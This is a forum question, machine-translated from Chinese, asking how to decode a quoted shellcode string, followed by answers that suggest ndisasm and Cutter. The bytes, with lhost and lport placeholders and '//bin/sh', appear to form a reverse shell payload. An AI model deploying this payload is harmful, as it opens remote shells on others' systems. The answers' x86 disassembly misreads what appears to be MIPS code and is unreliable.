如何将 shellcode 解码为 ascii

how to decode shellcode to ascii

我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。

\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c

我尝试用相同的输出以多种方式解码它,还有其他解码方式吗?

您可以使用 python 一个衬垫和 ndisasm 工具进行拆卸。

例如。 python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

结果:

00000000  2411              and al,0x11
00000002  FF                db 0xff
00000003  FF2404            jmp [esp+eax]
00000006  27                daa
00000007  0F                db 0x0f
00000008  0A                db 0x0a

您可以使用 cutter,它是一种用于各种文件的调试/转储工具。 您可以制作一个文件,例如: touch script.sh 在文件中输入你的 shellcode,然后 运行 例如:cutter script.sh 如果你不知道如何使用 CLI 中的各个工具,并在一个地方获取更多信息,那么只有反汇编:

python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

然后 cutter 是一个很好的工具,可以快速轻松地向您展示信息。

切刀: https://cutter.re/